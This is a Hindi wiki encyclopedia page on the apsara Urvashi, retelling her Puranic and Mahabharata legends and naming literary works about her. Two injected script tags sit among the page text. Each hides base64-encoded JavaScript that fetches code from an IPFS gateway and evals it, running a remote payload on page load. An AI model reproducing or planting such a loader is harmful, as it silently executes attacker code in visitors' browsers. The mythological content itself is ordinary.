उर्वशी

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Asha (चर्चा | योगदान) द्वारा परिवर्तित १६:५८, २५ अक्टूबर २००९ का अवतरण
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

उर्वशी / Urvashi

  • नारायण की जंघा से इसकी उत्पत्ति मानी जाती है।
  • पद्म पुराण के अनुसार कामदेव के ऊरू से इसका जन्म हुआ था।
  • श्रीमद्भागवत के अनुसार यह स्वर्ग की सर्वसुन्दर अप्सरा थी।
  • एक बार इन्द्र की सभा में नाचते समय राज पुरूरवा के प्रति आकृष्ट हो जाने के कारण ताल बिगड़ गया। इस अपराध के कारण इन्द्र ने रूष्ट होकर मर्त्यलोक में रहने का अभिशाप दे दिया।
  • मर्त्यलोक में इसने पुरूरवा को अपना पति चुना किन्तु शर्त यह रखी कि यदि वह पुरू को नग्न अवस्था में देख ले, या पुरूरवा उसकी इच्छा के प्रतिकूल समागम करें अथवा उसके दो भेष स्थानान्तरित कर दिये जायँ तो वह उनसे सम्बन्ध-विच्छेद कर स्वर्गलोक जाने के लिए स्वतन्त्र हो जायेगी।
  • उर्वशी और पुरूरवा बहुत समय तक पति-पत्नी के रूप में साथ-साथ रहे। इनके नौ पुत्र आयु, अमावसु, विश्वायु, श्रुतायु, दृढ़ायु, शतायु आदि उत्पन्न हुए ।
  • दीर्घ अवधि बीतने पर गन्धर्वों को उर्वशी की अनुपस्थिति अप्रिय प्रतीत होने लगी। गन्धर्वों ने विश्वावसु को उर्वशी के मेष चुराने के लिए भेजा। जिस समय विश्वावसु मेष चुरा रहा था, उस समय पुरूरवा नग्नावस्था में थे। आहट पाकर वे उसी अवस्था में विश्वावसु को पकड़ने दौड़े। अवसर से लाभ उठाकर गन्धर्वों ने उसी समय प्रकाश कर दिया जिससे उर्वशी ने पुरूरवा को नग्न देख लिया।
  • आरोपित प्रतिबन्धों के टूट जाने पर उर्वशी शाप से मुक्त हो गयी और पुरूरवा को छोड़कर स्वर्गलोक चली गयी।
  • कालिदास ने पुरूरवा और उर्वशी का वैदिक और उत्तर वैदिक वर्णन किया है ।
  • महाकवि कालिदास के विक्रमोवंशीय नाटक की कथा का आधार उक्त प्रसंग ही है।
  • कालिदास के नाटक में उर्वशी एक कोमलांगी सुकुमार सुन्दरी है ।
  • महाभारत की एक कथा के अनुसार सुरलोक की सर्वश्रेष्ठ नर्तकी उर्वशी को इन्द्र बहुत चाहते थे । एक दिन जब चित्रसेन अर्जुन को संगीत और नृत्य की शिक्षा दे रहे थे, वहाँ पर इन्द्र की अप्सरा उर्वशी आई और अर्जुन पर मोहित हो गई । अवसर पाकर उर्वशी ने अर्जुन से कहा, 'हे अर्जुन ! आपको देखकर मेरी काम-वासना जागृत हो गई है, अतः आप कृपया मेरे साथ विहार करके मेरी काम-वासना को शांत करें ।' उर्वशी के वचन सुनकर अर्जुन बोले,'हे देवि ! हमारे पूर्वज ने आपसे विवाह करके हमारे वंश का गौरव बढ़ाया था अतः पुरु वंश की जननी होने के नाते आप हमारी माता के तुल्य हैं । देवि ! मैं आपको प्रणाम करता हूँ ।' अर्जुन की बातों से उर्वशी के मन में बड़ा क्षोभ उत्पन्न हुआ और उसने अर्जुन से कहा,'तुमने नपुंसकों जैसे वचन कहे हैं, अतः मैं तुम्हें शाप देती हूँ कि तुम एक वर्ष तक पुंसत्वहीन रहोगे ।' इतना कहकर उर्वशी वहाँ से चली गई । जब इन्द्र को इस घटना के विषय में ज्ञात हुआ तो वे अर्जुन से बोले,'वत्स ! तुमने जो व्यवहार किया है, वह तुम्हारे योग्य ही था । उर्वशी का यह शाप भी भगवान की इच्छा थी, यह शाप तुम्हारे अज्ञातवास के समय काम आयेगा । अपने एक वर्ष के अज्ञातवास के समय ही तुम पुंसत्वहीन रहोगे और अज्ञातवास पूर्ण होने पर तुम्हें पुनः पुंसत्व की प्राप्ति हो जायेगी।'
  • रामाधारी सिंह 'दिनकर' ने उर्वशी की कथा को काव्य रूप प्रदान किया है।